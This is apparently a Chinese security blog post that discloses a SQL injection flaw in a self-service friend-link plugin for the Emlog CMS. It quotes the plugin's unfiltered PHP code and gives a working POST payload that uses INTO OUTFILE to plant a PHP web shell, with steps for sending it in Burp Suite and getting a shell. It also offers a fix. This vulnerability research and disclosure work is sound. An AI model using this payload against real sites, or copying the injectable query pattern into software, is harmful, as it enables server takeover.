EMLOG漏洞 | 針對emlog友情鏈接插件審計出的SQL注入漏洞

這其實不能算是emlog 系統的漏洞,這問題主要是出現在開發者身上。由於作者在寫代碼的時候沒有注意到過濾參數,因此而引發了SQL注入漏洞,望大家有安裝過或類似的插件,請及時更新,本文章最後會提供修復版的插件!

0x01 Emlog友情鏈接自助插件

這款插件主要是爲了減輕站長審覈友情鏈接的壓力,通過申請者自己填寫表單的方式提交申請,後端檢查對方網站是否添加本站的鏈接從,如果存在,則向數據庫中添加數據,否則不添加,從而有效節約站長的時間。
存在漏洞版本下載地址:友情鏈接自助插件V1.3.zip

0x02 代碼審計

下載如上鍊接的插件壓縮包,打開,文件目錄如圖:
目錄結構
其中最重要(核心)的文件就是link_web.php 這個文件。在之前的文章中說過,EMLOG本身並不存在SQL注入漏洞,此漏洞是插件作者代碼過濾不嚴格導致的,爲了驗證漏洞,在本地測試一下!
首先看看源碼如圖:
源碼
如圖紅色箭頭所指,程序在獲取用戶輸入參數的時候並沒有對參數過濾,此後還存在查詢,插入數據的數據庫操作,因此很常見的SQL注入漏洞就出現了!
貼出如下部分代碼方便大家閱讀:

<?php
/*
Plugin Name: 友鏈自助添加1.21
Version: 1.21
Plugin URL:http://www.dyboy.cn/post-117.html
Description: 判斷申請友鏈的網站是否先添加了本網站的友鏈,然後再加上友鏈
ForEmlog:5.3.1+
Author: DYBOY
Author URL: http://whois.dyboy.cn/
*/
!defined('EMLOG_ROOT') && exit('access deined!');
function link_web() {
if($_GET['link_t']=="1"){
$bl_link = $_POST['url'] . '/';
$bl_web_name = $_POST['web_name'];
$bl_web_description = $_POST['web_description'];
$bl_cxl=mysql_query("SELECT  * from ".DB_PREFIX."link where siteurl='$bl_link'"); 
$bl_cxt=mysql_query("SELECT  * from ".DB_PREFIX."link where sitename='$bl_web_name'"); 
if($bl_link !="" and $bl_web_name!="" ){
$name = file_get_contents($bl_link);
$pan = $_SERVER['HTTP_HOST']; 
$con = explode($pan,$name); 
if (count($con)>1 && mysql_num_rows($bl_cxl)==0 && mysql_num_rows($bl_cxt)==0):
$sql_bl_cr = mysql_query("INSERT INTO ".DB_PREFIX."link (sitename,siteurl,description,taxis,hide)VALUES ('$bl_web_name','$bl_link','$bl_web_description','14','y')");
?>

這裏,因爲每個參數都沒有過濾,因此我們就直接針對第一個sql語句作爲注入點測試一下吧!
Payload如下:

url=http%3A%2F%2Fwww.dyboy.cn' union select 1,2,3,4,5,'<?php @assert($_GET[x]); ?>' into outfile 'D:\\Server\\htdocs\\emlog\\dd.php' #&web_description=%E5%AE%89%E5%85%A8%E6%B5%8B%E8%AF%95&submit=%E6%8F%90%E4%BA%A4%E7%94%B3%E8%AF%B7&web_name=%E7%AC%AC%E4%B8%80%E8%B5%84%E6%BA%90%E7%BD%91
//這是POST數據,因爲表單是post提交的

使用burpsuite直接攔截數據包,然後直接修改post的數據爲如上一樣即可。攔截數據,修改如上,放行數據包,就能成功了!
其中D:\\Server\\htdocs\\emlog\\dd.php 這個參數要修改爲對方網站的web絕對路徑,同時選擇一個可寫目錄,獲取絕對路徑的方式有很多,在本次測試中發現一些方式,這裏就不公佈了,只說一種,可以參考之前的一篇文章

EMLOG漏洞 | 敏感信息泄漏phpinfo-代碼審計

然後菜刀鏈接http://www.test.com/dd.php 密碼爲:x
就可以獲得shell了

0x03 實戰測試

爲了驗證漏洞的真實性,這裏我就以本地環境爲例子
此時我以遊客身份訪問 http://www.test.com/friends.html (這個是我本地環境127.0.0.1域名重定向非真實網址)
嘗試添加我的http://www.dyboy.cn 看看是否能成功,此前,已在該網站添加了test.com的友情鏈接
測試功能是否正常
發現是能夠成功添加的,說明插件的安裝是沒有問題的!
然後再次提交數據,BurpSuite抓包攔截,並修改
抓包攔截修改psot數據
發送這個數據包等待出現如下情況:
結果
發現成功寫入d.php文件到網站根目錄
我們訪問測試輸出phpinfo()一下如下圖:
成功
OK,到這一步就成功拿到了網站shell了

0x04 修復方法

  1. 過濾參數
  2. 下載如下提供的修復版插件安裝替換:
    這裏小東提供一個修復版本的下載地址:https://www.lanzous.com/i1561eh

其他EMLOG站長有使用類似插件的記得及時更新!!!或者聯繫我QQ1099718640,手動解決,人數可能較多,請勿催促!

0x05 總結

通過此次審計一個小插件就發現了SQL注入漏洞,很多CMS網站其實本身已經不存在問題了,但是由於一些個人開發者對於web安全瞭解較少,對於用戶參數過濾不嚴謹,導致了漏洞的存在。因此當我們在審計代碼的時候,不僅僅要注重程序主體業務邏輯等等的風險,有時候也需要關注一些擴展模塊。
“千里之堤潰於蟻穴”此處來講,也不是沒有道理!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章